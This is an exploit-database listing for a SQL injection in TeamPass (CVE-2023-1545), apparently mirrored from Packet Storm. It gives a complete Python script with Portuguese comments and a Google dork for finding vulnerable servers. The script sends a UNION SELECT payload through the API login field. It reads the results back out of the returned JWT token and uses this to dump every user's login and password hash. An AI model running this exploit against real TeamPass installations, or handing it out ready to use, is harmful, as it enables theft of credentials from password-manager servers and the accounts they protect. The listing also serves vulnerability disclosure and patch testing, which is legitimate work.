Share
## https://sploitus.com/exploit?id=PACKETSTORM:189981
# Exploit Title: TeamPass SQL Injection
    # Google Dork: intitle:"Teampass" + inurl:index.php?page=items
    # Date: 02/23/2025
    # Exploit Author: Max Meyer - Rivendell
    # Vendor Homepage: http://www.teampass.net
    # Software Link: https://github.com/nilsteampassnet/TeamPass
    # Version: 2.1.24 and prior
    # Tested on: Windows/Linux
    # CVE : CVE-2023-1545
    
    
    #!/usr/bin/env python3
    import sys
    import json
    import base64
    import logging
    import requests
    from typing import Optional, Dict, Any
    from dataclasses import dataclass
    
    # Configuração de logging
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )
    logger = logging.getLogger(__name__)
    
    @dataclass
    class TeamPassExploit:
        base_url: str
        arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
        
        def __post_init__(self):
            self.vulnerable_url = f"{self.base_url}/api/index.php/authorize"
            
        def check_api_enabled(self) -> bool:
            """Verifica se a API está habilitada."""
            try:
                response = requests.get(self.vulnerable_url)
                if "API usage is not allowed" in response.text:
                    logger.error("API feature is not enabled")
                    return False
                return True
            except requests.RequestException as e:
                logger.error(f"Erro ao verificar API: {e}")
                return False
    
        def execute_sql(self, sql_query: str) -> Optional[str]:
            """Executa uma query SQL através da vulnerabilidade."""
            try:
                inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \
                         "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \
                         "FROM teampass_users WHERE login='admin"
                
                data = {
                    "login": inject,
                    "password": "h4ck3d",
                    "apikey": "foo"
                }
                
                response = requests.post(
                    self.vulnerable_url,
                    headers={"Content-Type": "application/json"},
                    json=data
                )
                
                if not response.ok:
                    logger.error(f"Erro na requisição: {response.status_code}")
                    return None
                    
                token = response.json().get('token')
                if not token:
                    logger.error("Token não encontrado na resposta")
                    return None
                    
                # Decodifica o token JWT
                token_parts = token.split('.')
                if len(token_parts) < 2:
                    logger.error("Token JWT inválido")
                    return None
                    
                payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4))
                return json.loads(payload).get('public_key')
                
            except Exception as e:
                logger.error(f"Erro ao executar SQL: {e}")
                return None
    
        def get_user_credentials(self) -> Optional[Dict[str, str]]:
            """Obtém credenciais de todos os usuários."""
            try:
                # Obtém número total de usuários
                user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
                if not user_count or not user_count.isdigit():
                    logger.error("Não foi possível obter o número de usuários")
                    return None
                    
                user_count = int(user_count)
                logger.info(f"Encontrados {user_count} usuários no sistema")
                
                credentials = {}
                for i in range(user_count):
                    username = self.execute_sql(
                        f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                    )
                    password = self.execute_sql(
                        f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                    )
                    
                    if username and password:
                        credentials[username] = password
                        logger.info(f"Credenciais obtidas para: {username}")
                    
                return credentials
                
            except Exception as e:
                logger.error(f"Erro ao obter credenciais: {e}")
                return None
    
    def main():
        if len(sys.argv) < 2:
            logger.error("Usage: python3 script.py <base-url>")
            sys.exit(1)
            
        exploit = TeamPassExploit(sys.argv[1])
        
        if not exploit.check_api_enabled():
            sys.exit(1)
            
        credentials = exploit.get_user_credentials()
        if credentials:
            print("\nCredenciais encontradas:")
            for username, password in credentials.items():
                print(f"{username}: {password}")
    
    if __name__ == "__main__":
        main()